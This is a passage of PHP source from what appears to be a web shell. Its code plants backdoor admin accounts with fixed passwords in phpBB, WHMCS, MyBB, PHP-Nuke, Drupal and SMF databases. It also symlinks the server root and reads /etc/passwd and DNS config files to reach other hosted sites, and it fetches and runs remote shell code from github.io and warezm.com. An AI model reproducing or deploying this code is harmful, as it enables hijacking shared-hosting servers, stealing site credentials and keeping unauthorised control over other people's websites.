  2406. $solevisible = @mysqli_query($conn, "insert into {$prefix}administrator (userid,adminpermissions) values('" . $res . "','16744444')") or die(mysqli_error($conn));
  2407. if ($solevisible) {
  2408. __alert('Success... ' . $admin . ' is created...');
  2409. }
  2410. }
  2411. }
  2412. if (isset($_POST['alfa5']) && $_POST['alfa5'] == 'phpbb') {
  2413. echo __pre() . '<center><div class="txtfont_header">| phpBB |</div><p><p>' . getConfigHtml('phpbb') . '</p><form onSubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,this.username.value,\'phpbb\',this.password.value,null,this.admin.value,this.email.value,this.prefix.value); return false;" method="POST">';
  2414. $table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id' => 'db_host', 'inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id' => 'db_name', 'inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id' => 'db_user', 'inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id' => 'db_pw', 'inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id' => 'db_prefix', 'inputName' => 'prefix', 'inputValue' => '', 'inputSize' => '50'), 'td6' => array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'), 'td7' => array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true), 'td8' => array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'mka7@pay-moon.com', 'inputSize' => '50'));
  2415. create_table($table);
  2416. echo '<p><input value=" " name="send" type="submit"></p></form></center>';
  2417. if ($_POST['alfa1'] && $_POST['alfa1'] == '>>') {
  2418. $localhost = $_POST['alfa2'];
  2419. $database = $_POST['alfa3'];
  2420. $username = $_POST['alfa4'];
  2421. $password = $_POST['alfa6'];
  2422. $admin = $_POST['alfa8'];
  2423. $SQL = $_POST['alfa9'];
  2424. $prefix = $_POST['alfa10'];
  2425. $conn = @mysqli_connect($localhost, $username, $password, $database) or die(mysqli_error($conn));
  2426. $hash = md5('solevisible');
  2427. $solevisible = @mysqli_query($conn, 'UPDATE ' . $prefix . "users SET username_clean ='" . $admin . "' WHERE username_clean = 'admin'") or die(mysqli_error($conn));
  2428. $solevisible = @mysqli_query($conn, 'UPDATE ' . $prefix . "users SET user_password ='" . $hash . "' WHERE username_clean = 'admin'") or die(mysqli_error($conn));
  2429. $solevisible = @mysqli_query($conn, 'UPDATE ' . $prefix . "users SET username_clean ='" . $admin . "' WHERE user_type = 3") or die(mysqli_error($conn));
  2430. $solevisible = @mysqli_query($conn, 'UPDATE ' . $prefix . "users SET user_password ='" . $hash . "' WHERE user_type = 3") or die(mysqli_error($conn));
  2431. $solevisible = @mysqli_query($conn, 'UPDATE ' . $prefix . "users SET user_email ='" . $SQL . "' WHERE username_clean = 'admin'") or die(mysqli_error($conn));
  2432. if ($solevisible) {
  2433. __alert('Success... ' . $admin . ' is created...');
  2434. }
  2435. }
  2436. }
  2437. if (isset($_POST['alfa6']) && $_POST['alfa6'] == 'whmcs') {
  2438. echo __pre() . '<center><div class="txtfont_header">| Whmcs |</div><p><p>' . getConfigHtml('whmcs') . '</p><form onSubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,this.username.value,this.password.value,\'whmcs\',null,this.admin.value,this.email.value); return false;" method="POST">';
  2439. $table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id' => 'db_host', 'inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id' => 'db_name', 'inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id' => 'db_user', 'inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id' => 'db_pw', 'inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'), 'td6' => array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'), 'td7' => array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true), 'td8' => array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'mka7@pay-moon.com', 'inputSize' => '50'));
  2440. create_table($table);
  2441. echo '<p><input value=" " name="send" type="submit"></p></form></center>';
  2442. if ($_POST['alfa1'] && $_POST['alfa1'] == '>>') {
  2443. $localhost = $_POST['alfa2'];
  2444. $database = $_POST['alfa3'];
  2445. $username = $_POST['alfa4'];
  2446. $password = $_POST['alfa5'];
  2447. $admin = $_POST['alfa8'];
  2448. $SQL = $_POST['alfa9'];
  2449. $conn = @mysqli_connect($localhost, $username, $password, $database) or die(mysqli_error($conn));
  2450. $solevisible = @mysqli_query($conn, "insert into tbladmins (id,roleid,username,password,email,template,homewidgets) values(null,'1','" . $admin . "','d4a590caacc0be55ef286e40a945ea45','" . $SQL . "','blend','getting_started:true,orders_overview:true,supporttickets_overview:true,my_notes:true,client_activity:true,open_invoices:true,activity_log:true|income_overview:true,system_overview:true,whmcs_news:true,sysinfo:true,admin_activity:true,todo_list:true,network_status:true,income_forecast:true|')") or die(mysqli_error($conn));
  2451. if ($solevisible) {
  2452. __alert('Success... ' . $admin . ' is created...');
  2453. }
  2454. }
  2455. }
  2456. if (isset($_POST['alfa7']) && $_POST['alfa7'] == 'mybb') {
  2457. echo __pre() . '<center><div class="txtfont_header">| Mybb |</div><p><p>' . getConfigHtml('mybb') . '</p><form onsubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,\'mybb\',this.admin.value,this.email.value,this.prefix.value); return false;" method="POST">';
  2458. $table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id' => 'db_host', 'inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id' => 'db_name', 'inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id' => 'db_user', 'inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id' => 'db_pw', 'inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id' => 'db_prefix', 'inputName' => 'prefix', 'inputValue' => '', 'inputSize' => '50'), 'td6' => array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'), 'td7' => array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'mka7', 'inputSize' => '50', 'disabled' => true), 'td8' => array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'mka7@pay-moon.com', 'inputSize' => '50'));
  2459. create_table($table);
  2460. echo '<p><input value=" " name="send" type="submit"></p></form></center>';
  2461. if ($_POST['alfa1'] && $_POST['alfa1'] == '>>') {
  2462. $localhost = $_POST['alfa2'];
  2463. $database = $_POST['alfa3'];
  2464. $username = $_POST['alfa4'];
  2465. $password = $_POST['alfa5'];
  2466. $admin = $_POST['alfa8'];
  2467. $SQL = $_POST['alfa9'];
  2468. $prefix = $_POST['alfa10'];
  2469. $conn = @mysqli_connect($localhost, $username, $password, $database) or die(mysqli_error($conn));
  2470. $solevisible = @mysqli_query($conn, 'insert into ' . $prefix . "users (uid,username,password,salt,email,usergroup) values(null,'" . $admin . "','e71f2c3265619038d826a1ac6e2b9b8e','ywza68lS','" . $SQL . "','4')") or die(mysqli_error($conn));
  2471. if ($solevisible) {
  2472. __alert('Success... ' . $admin . ' is created...');
  2473. }
  2474. }
  2475. }
  2476. if (isset($_POST['alfa8']) && $_POST['alfa8'] == 'nuke') {
  2477. echo __pre() . '<center><div class="txtfont_header">| PhpNuke |</div><p><p>' . getConfigHtml('phpnuke') . '</p><form onsubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,this.admin.value,\'nuke\',this.email.value,this.prefix.value); return false;" method="POST">';
  2478. $table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id' => 'db_host', 'inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id' => 'db_name', 'inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id' => 'db_user', 'inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id' => 'db_pw', 'inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id' => 'db_prefix', 'inputName' => 'prefix', 'inputValue' => '', 'inputSize' => '50'), 'td6' => array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'), 'td7' => array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'mka7', 'inputSize' => '50', 'disabled' => true), 'td8' => array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'mka7@pay-moon.com', 'inputSize' => '50'));
  2479. create_table($table);
  2480. echo '<p><input value=" " name="send" type="submit"></p></form></center>';
  2481. if ($_POST['alfa1'] && $_POST['alfa1'] == '>>') {
  2482. $localhost = $_POST['alfa2'];
  2483. $database = $_POST['alfa3'];
  2484. $username = $_POST['alfa4'];
  2485. $password = $_POST['alfa5'];
  2486. $admin = $_POST['alfa7'];
  2487. $SQL = $_POST['alfa9'];
  2488. $prefix = $_POST['alfa10'];
  2489. $conn = @mysqli_connect($localhost, $username, $password, $database) or die(mysqli_error($conn));
  2490. $hash = md5($pwd);
  2491. $solevisible = @mysqli_query($conn, 'insert into ' . $prefix . "_authors(aid,name,email,pwd) values('$admin','God','$SQL','d4a590caacc0be55ef286e40a945ea45')") or die(mysqli_error($conn));
  2492. if ($solevisible) {
  2493. __alert('Success... ' . $admin . ' is created...');
  2494. }
  2495. }
  2496. }
  2497. if (isset($_POST['alfa9']) && $_POST['alfa9'] == 'drupal') {
  2498. echo __pre() . '<center><div class="txtfont_header">| Drupal |</div><p><p>' . getConfigHtml('drupal') . '</p><form onSubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,null,this.database.value,this.username.value,this.password.value,null,this.admin.value,\'drupal\'); return false;" method="POST">';
  2499. $table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id' => 'db_host', 'inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id' => 'db_name', 'inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id' => 'db_user', 'inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id' => 'db_pw', 'inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'), 'td6' => array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'), 'td7' => array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'mka7', 'inputSize' => '50', 'disabled' => true));
  2500. create_table($table);
  2501. echo '<p><input value=" " name="send" type="submit"></p></form></center>';
  2502. if ($_POST['alfa1'] && $_POST['alfa1'] == '>>') {
  2503. $localhost = $_POST['alfa2'];
  2504. $database = $_POST['alfa4'];
  2505. $username = $_POST['alfa5'];
  2506. $password = $_POST['alfa6'];
  2507. $admin = $_POST['alfa8'];
  2508. $conn = @mysqli_connect($localhost, $username, $password, $database) or die(mysqli_error($conn));
  2509. $getDescuid = @mysqli_query($conn, 'select uid from users order by uid desc limit 0,1');
  2510. $getDescuid = @mysqli_fetch_assoc($getDescuid);
  2511. $getDescuid = $getDescuid['uid'];
  2512. $getdescuid = $getDescuid++;
  2513. $solevisible = @mysqli_query($conn, "insert into users (uid,name,pass,mail,signature_format,status,timezone,init) values('$getDescuid','$admin','\$S\$DP2y9AbolCBOd\/WyQcpzu4zF57qE0noyCNeXZWv.37R66VsFjOiC','mka7@pay-moon.com','filtered_html','1','Europe/Berlin','mka7@pay-moon.com')") or die(mysqli_error($conn));
  2514. $solevisible = @mysqli_query($conn, "select uid from users where name='" . $admin . "'") or die(mysqli_error($conn));
  2515. $sole = mysqli_num_rows($solevisible);
  2516. if ($sole == 1) {
  2517. $solevis = mysqli_fetch_assoc($solevisible);
  2518. $res = $solevis['uid'];
  2519. }
  2520. $solevisible = @mysqli_query($conn, "INSERT INTO users_roles (uid,rid) VALUES ('" . $res . "', '3')") or die(mysqli_error($conn));
  2521. if ($solevisible) {
  2522. __alert('Success... ' . $admin . ' is created...');
  2523. }
  2524. }
  2525. }
  2526. if (isset($_POST['alfa10']) && $_POST['alfa10'] == 'smf') {
  2527. echo __pre() . '<center><center><div class="txtfont_header">| SMF |</div><p><p>' . getConfigHtml('smf') . '</p><form onSubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,null,this.username.value,this.password.value,this.prefix.value,this.admin.value,null,\'smf\'); return false;" method="POST">';
  2528. $table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id' => 'db_host', 'inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id' => 'db_name', 'inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id' => 'db_user', 'inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id' => 'db_pw', 'inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id' => 'db_prefix', 'inputName' => 'prefix', 'inputValue' => 'smf_', 'inputSize' => '50'), 'td6' => array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'), 'td7' => array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'hi', 'inputValue' => 'mka7', 'inputSize' => '50', 'disabled' => true),);
  2529. create_table($table);
  2530. echo '<p><input value=" " name="send" type="submit"></p></form></center>';
  2531. if ($_POST['alfa1'] && $_POST['alfa1'] == '>>') {
  2532. $localhost = $_POST['alfa2'];
  2533. $database = $_POST['alfa3'];
  2534. $username = $_POST['alfa5'];
  2535. $password = $_POST['alfa6'];
  2536. $prefix = $_POST['alfa7'];
  2537. $admin = $_POST['alfa8'];
  2538. $conn = @mysqli_connect($localhost, $username, $password, $database) or die(mysqli_error($conn));
  2539. $setpwAlg = sha1(strtolower($admin) . 'solevisible');
  2540. $solevisible = @mysqli_query($conn, "insert into {$prefix}members (id_member,member_name,id_group,real_name,passwd,email_address) values(null,'$admin','1','$admin','$setpwAlg','mka7@pay-moon.com')") or die(mysqli_error($conn));
  2541. if ($solevisible) {
  2542. __alert('Success... ' . $admin . ' is created...');
  2543. }
  2544. }
  2545. }
  2546. echo '</div>';
  2547. alfafooter();
  2548. }
  2549. function alfaMakePwd() {
  2550. if (_alfa_file_exists('/etc/virtual/domainowners') || (_alfa_file_exists('/etc/named.conf') && _alfa_file_exists('/etc/valiases'))) {
  2551. return '/home/{user}/public_html/';
  2552. }
  2553. $document = explode('/', $_SERVER['DOCUMENT_ROOT']);
  2554. $public = end($document);
  2555. array_pop($document);
  2556. array_pop($document);
  2557. $path = implode('/', $document) . '/{user}/' . $public;
  2558. return $path;
  2559. }
  2560. function alfaGetDomains($state = false) {
  2561. $state = 'named.conf';
  2562. $lines = array();
  2563. $lines = _alfa_file('/etc/named.conf');
  2564. if (!$lines) {
  2565. $lines = @scandir('/etc/valiases/');
  2566. $state = 'valiases';
  2567. if (!$lines) {
  2568. $lines = @scandir('/var/named');
  2569. $state = 'named';
  2570. if (!$lines && $state) {
  2571. $lines = _alfa_file('/etc/passwd');
  2572. $state = 'passwd';
  2573. }
  2574. }
  2575. }
  2576. return array('lines' => $lines, 'state' => $state);
  2577. }
  2578. function alfasymlink() {
  2579. alfahead();
  2580. echo '<div class=header><br><center><div class="txtfont_header">| Symlink |</div><center><h3><a href=javascript:void(0) onclick="g(\'symlink\',null,null,\'symphp\')">| Symlink( php ) | </a><a href=javascript:void(0) onclick="g(\'symlink\',null,null,\'symperl\')">| Symlink( perl ) | </a><a href=javascript:void(0) onclick="g(\'symlink\',null,null,\'sympy\')">| Symlink( python ) | </a><a href=javascript:void(0) onclick="g(\'symlink\',null,null,null,null,\'SymFile\')">| File Symlink | </a><a href=javascript:void(0) onclick="g(\'symlink\',null,null,null,null,\'c1get\')">| C1 getir | </a><a href=javascript:void(0) onclick="g(\'symlink\',null,null,null,null,\'phtml\')">| PHTML File manager | </a></h3></center>';
  2581. if (isset($_POST['alfa2']) && ($_POST['alfa2'] == 'symperl' || $_POST['alfa2'] == 'sympy')) {
  2582. $sympath = alfaMakePwd();
  2583. @mkdir('cgimka', 0755);
  2584. @chdir('cgimka');
  2585. alfacgihtaccess('cgi');
  2586. $perl = file_get_contents('https://myofcl.github.io/mkaspyshell/symperl');
  2587. $py = file_get_contents('https://myofcl.github.io/mkaspyshell/sympy');;
  2588. $cginame = 'symperl.mka';
  2589. $source = $perl;
  2590. $lang = 'perl';
  2591. if ($_POST['alfa2'] == 'sympy') {
  2592. $cginame = 'pysymlink.mka';
  2593. $source = $py;
  2594. $lang = 'python';
  2595. }
  2596. @__write_file($cginame, $source);
  2597. @chmod($cginame, 0755);
  2598. echo __pre();
  2599. $resource = alfaEx("{$lang} {$cginame} {$sympath}", false, true, true);
  2600. if (strlen($resource) == 0) {
  2601. echo AlfaiFrameCreator('cgialfa/' . $cginame);
  2602. } else {
  2603. echo $resource;
  2604. }
  2605. }
  2606. if ($_POST['alfa4'] == 'c1get') {
  2607. file_download('http://www.warezm.com/shell/c4.tar.gz');
  2608. system('tar -zxvf c4.tar.gz');
  2609. $url = $_SERVER['REQUEST_URI'];
  2610. $parts = explode('/', $url);
  2611. $dir = $_SERVER['SERVER_NAME'];
  2612. for ($i = 0;$i < count($parts) - 1;$i++) {
  2613. $dir.= $parts[$i] . '';
  2614. }
  2615. if (is_dir('c1')) {
  2616. echo ' c1 yklendi pampa siktir git <a href="' . $dir . '/c1" target="_BLANK">C1 dizinine git </a>';
  2617. } else {
  2618. echo 'Kanka ben ykleyemedim manuel yklemeyi dene cpanel varsa cpanelden ykle';
  2619. }
  2620. }
  2621. if ($_POST['alfa4'] == 'phtml') {
  2622. $py = file_get_contents('https://myofcl.github.io/mkaspyshell/phtmlshell');
  2623. $cginame = 'mka7.phtml';
  2624. @__write_file($cginame, $py);
  2625. @chmod($cginame, 0755);
  2626. $dir = $_SERVER['SERVER_NAME'];
  2627. for ($i = 0;$i < count($parts) - 1;$i++) {
  2628. $dir.= $parts[$i] . '';
  2629. }
  2630. echo ' mka7.phtml oluturuldu';
  2631. }
  2632. if (isset($_POST['alfa4']) && $_POST['alfa4'] == 'SymFile') {
  2633. if (function_exists('symlink') || _alfa_can_runCommand(true, true)) {
  2634. echo __pre() . '
  2635. <center><p><div class="txtfont_header">| Symlink File And Directory |</div></p><form onSubmit="g(\'symlink\',null,null,null,null,\'SymFile\',this.file.value,this.symfile.value,this.symlink.value);return false;" method="post">
  2636. <input type="text" name="file" placeholder="Example : /home/user/public_html/config.php" size="60"/><br />
  2637. <input type="text" name="symfile" placeholder="Example : mka7.txt" size="60"/>
  2638. <p><input type="submit" value=" " name="symlink" /></p></form></center>';
  2639. $path = $_POST['alfa5'];
  2640. $symname = $_POST['alfa6'];
  2641. $solevisible58 = $_POST['alfa7'];
  2642. if ($solevisible58) {
  2643. $new_name = str_replace('.', '_', basename($symname));
  2644. $rand_dir = $new_name . rand(111, 9999);
  2645. $sym_dir = 'mkasymlinkphp/' . $rand_dir . '/';
  2646. @mkdir($sym_dir, 0777, true);
  2647. alfacgihtaccess('sym', $sym_dir, $symname);
  2648. _alfa_symlink("$path", "$sym_dir/$symname");
  2649. echo __pre();
  2650. echo '<center><b><font color="white">Click >> </font><a target="_blank" href="' . $sym_dir . '" ><b><font size="4">' . $symname . '</font></b></a></b></center>';
  2651. }
  2652. } else {
  2653. echo "<center><pre class=ml1 style='margin-top:5px'><b><font color=\"#FFFFFF\">[+] Symlink Function Disabled !</b></font></pre></center>";
  2654. }
  2655. }
  2656. if (isset($_POST['alfa2']) && $_POST['alfa2'] == 'symphp') {
  2657. $cant_symlink = true;
  2658. if (function_exists('symlink') || _alfa_can_runCommand(false, false)) {
  2659. @mkdir('mka7symlink', 0777);
  2660. alfacgihtaccess('sym', 'mka7symlink/');
  2661. _alfa_symlink('/', 'mka7symlink/root');
  2662. $table_header = "<pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><table id='tbl_sympphp' align='center' width='40%' class='main' border='1'><td><span style='color:#FFFF01;'><b>*</span></b></td><td><span style='color:#00A220;'><b>Domains</span></b></td><td><span style='color:#FFFFFF;'><b>Users</span></b></td><td><span style='color:#FF0000;'><b>symlink</span></b></td>";
  2663. if (_alfa_file_exists('/etc/named.conf') && !_alfa_file_exists('/etc/virtual/domainowners') && _alfa_file_exists('/etc/valiases/')) {
  2664. echo '<center>';
  2665. $lines = array();
  2666. $anony_domains = array();
  2667. $anonymous_users = array();
  2668. $f_black = array();
  2669. $error = false;
  2670. $anonymous = false;
  2671. $makepwd = '/home/{user}/public_html/';
  2672. $domains = alfaGetDomains();
  2673. $lines = $domains['lines'];
  2674. $state = $domains['state'];
  2675. $is_posix = function_exists('posix_getpwuid') && function_exists('fileowner');
  2676. $can_runcmd = _alfa_can_runCommand(false, false);
  2677. if (!$is_posix && !$can_runcmd) {
  2678. $anonymous = true;
  2679. $anony_domains = $domains['lines'];
  2680. $lines = _alfa_file('/etc/passwd');
  2681. }
  2682. echo $table_header;
  2683. $count = 1;
  2684. $template = '<tr><td><span style="color:#FFFF01;">{count}</span></td><td style="text-align:left;"><a target="_blank" href="{http}"/><span style="color:#00A220;margin-left:10px;"><b>{domain}</b> </a></span></td><td style="text-align:left;"><span style="color:#FFFFFF;margin-left:10px;"><b>{owner}</font></b></td><td><a href="alfasymlink/root{sympath}" target="_blank"><span style="color:#FF0000;">Symlink</span></a></td></tr>';
  2685. foreach ($lines as $line) {
  2686. $domain = '';
  2687. $owner = '';
  2688. if ($anonymous) {
  2689. $explode = explode(':', $line);
  2690. $owner = $explode[0];
  2691. $owner_len = strlen($owner) - 1;
  2692. $userid = $explode[2];
  2693. if ((int)$userid < 500) continue;
  2694. $domain = '[?????]';
  2695. $temp_black = array();
  2696. $finded = false;
  2697. foreach ($anony_domains as $anony) {
  2698. if ($state == 'named.conf') {
  2699. if (@strstr($anony, 'zone')) {
  2700. preg_match_all('#zone "(.*)"#', $anony, $data);
  2701. $domain = $data[1][0];
  2702. } else {
  2703. continue;
  2704. }
  2705. } elseif ($state == 'named' || $state == 'valiases') {
  2706. if ($anony == '.' || $anony == '..') continue;
  2707. if ($state == 'named') $anony = rtrim($anony, '.db');
  2708. $domain = $anony;
  2709. }
  2710. $sub_domain = str_replace(array('-', '.'), '', $domain);
  2711. if (substr($owner, 0, $owner_len) == substr($sub_domain, 0, $owner_len)) {
  2712. if (in_array($owner . $domain, $temp_black)) continue;
  2713. $sympath = str_replace('{user}', $owner, $makepwd);
  2714. $http = 'http://' . $domain;
  2715. echo str_replace(array('{count}', '{http}', '{domain}', '{owner}', '{sympath}'), array($count, $http, $domain, $owner, $sympath), $template);
  2716. $count++;
  2717. $temp_black[] = $owner . $domain;
  2718. $finded = true;
  2719. }
  2720. }
  2721. if (!$finded) {
  2722. $anonymous_users[] = $owner;
  2723. }
  2724. } else {
  2725. if ($state == 'named.conf') {
  2726. if (@strstr($line, 'zone')) {
  2727. preg_match_all('#zone "(.*)"#', $line, $data);
  2728. $domain = $data[1][0];
  2729. } else {
  2730. continue;
  2731. }
  2732. } elseif ($state == 'named' || $state == 'valiases') {
  2733. if ($line == '.' || $line == '..') continue;
  2734. if ($state == 'named') $line = rtrim($line, '.db');
  2735. $domain = $line;
  2736. }
  2737. if (strlen(trim($domain)) > 2 && $state != 'passwd') {
  2738. if (!_alfa_file_exists('/etc/valiases/' . $domain, false)) continue;
  2739. if ($is_posix) {
  2740. $user = @posix_getpwuid(@fileowner('/etc/valiases/' . $domain));
  2741. $owner = $user['name'];
  2742. } elseif ($can_runcmd) {
  2743. $owner = alfaEx("stat -c '%U' /etc/valiases/" . $domain, false, false);
  2744. }
  2745. }
  2746. }
  2747. if (!$anonymous) {
  2748. if (strlen($owner) == 0 || in_array($owner . $domain, $f_black)) continue;
  2749. $sympath = str_replace('{user}', $owner, $makepwd);
  2750. $http = 'http://' . $domain;
  2751. if ($state == 'passwd') {
  2752. $http = "javascript:alert('we cant find domain...')";
  2753. }
  2754. echo str_replace(array('{count}', '{http}', '{domain}', '{owner}', '{sympath}'), array($count, $http, $domain, $owner, $sympath), $template);
  2755. $count++;
  2756. $f_black[] = $owner . $domain;
  2757. }
  2758. }
  2759. if ($anonymous) {
  2760. foreach ($anonymous_users as $owner) {
  2761. $sympath = str_replace('{user}', $owner, $makepwd);
  2762. $http = "javascript:alert('we cant find domain...')";
  2763. echo str_replace(array('{count}', '{http}', '{domain}', '{owner}', '{sympath}'), array($count, $http, '[????]', $owner, $sympath), $template);
  2764. $count++;
  2765. }
  2766. }
  2767. $cant_symlink = false;
  2768. } else {
  2769. $is_direct = false;
  2770. $makepwd = alfaMakePwd();
  2771. if (_alfa_file_exists('/etc/virtual/domainowners')) {
  2772. $makepwd = '/home/{user}/public_html';
  2773. $is_direct = true;
  2774. }
  2775. $sole = _alfa_file('/etc/virtual/domainowners');
  2776. $count = 1;
  2777. echo $table_header;
  2778. $template = '<tr><td><span style="color:#FFFF01;">{count}</span></td><td style="text-align:left;"><a target="_blank" href="http://www.{url}"/><span style="color:#00A220;margin-left:10px;"><b>{url}</b> </a></span></td><td style="text-align:left;"><span style="color:#FFFFFF;margin-left:10px;"><b>{user}</font></b></td><td><a href="alfasymlink/root{cwd}" target="_blank"><span style="color:#FF0000;">Symlink</span></a></td></tr>';
  2779. if ($sole) {
  2780. foreach ($sole as $visible) {
  2781. if (@strstr($visible, ':')) {
  2782. $solevisible = explode(':', $visible);
  2783. $cwd = str_replace('{user}', trim($solevisible[1]), $makepwd);
  2784. echo str_replace(array('{count}', '{user}', '{url}', '{cwd}'), array($count++, trim($solevisible[1]), trim($solevisible[0]), $cwd), $template);
  2785. }
  2786. }
  2787. } else {
  2788. $passwd = _alfa_file('/etc/passwd');
  2789. if ($passwd) {
  2790. $html = '';
  2791. $is_named = false;
  2792. $users = array();
  2793. $domains = array();
  2794. $uknowns = array();
  2795. foreach ($passwd as $user) {
  2796. $user = trim($user);
  2797. $expl = explode(':', $user);
  2798. if ((int)$expl[2] < 500) continue;
  2799. $users[$expl[0]] = $expl[5];
  2800. }
  2801. $site_domains = @scandir('/etc/virtual/');
  2802. if (!$site_domains) {
  2803. $site_domains = alfaEx('ls /etc/virtual/');
  2804. $site_domains = explode("
  2805. ", $site_domains);
  2806. if (!$site_domains) {
  2807. $site_domains = _alfa_file('/etc/named.conf');
  2808. if ($site_domains) {
  2809. $is_named = true;
  2810. }
  2811. }
  2812. }
  2813. foreach ($site_domains as $line) {
  2814. if ($is_named) {
  2815. if (@strstr($line, 'zone')) {
  2816. preg_match_all('#zone "(.*)"#', $line, $data);
  2817. $domain = $data[1][0];
  2818. if (strlen($domain > 2) && !empty($domain)) {
  2819. $domains[] = $domain;
  2820. }
  2821. }
  2822. } else {
  2823. $domains[] = $line;
  2824. }
  2825. }
  2826. $x = 1;
  2827. foreach ($users as $user => $home) {
  2828. foreach ($domains as $domain) {
  2829. $user_len = strlen($user) - 1;
  2830. $sub_domain = str_replace(array('-', '.'), '', $domain);
  2831. $five_user = substr($user, 0, $user_len);
  2832. $five_domain = substr($sub_domain, 0, $user_len);
  2833. if ($five_user == $five_domain) {
  2834. if ($is_direct) {
  2835. $cwd = str_replace('{user}', $user, $makepwd);
  2836. } else {
  2837. $expl = explode('}/', $makepwd);
  2838. $cwd = $home . '/' . $expl[1];
  2839. }
  2840. $html.= str_replace(array('{count}', '{user}', '{url}', '{cwd}'), array($x++, $user, $domain, $cwd), $template);
  2841. } else {
  2842. $uknowns[$user] = $home;
  2843. }
  2844. }
  2845. }
  2846. $uknowns = array_unique($uknowns);
  2847. foreach ($uknowns as $user => $home) {
  2848. if ($is_direct) {
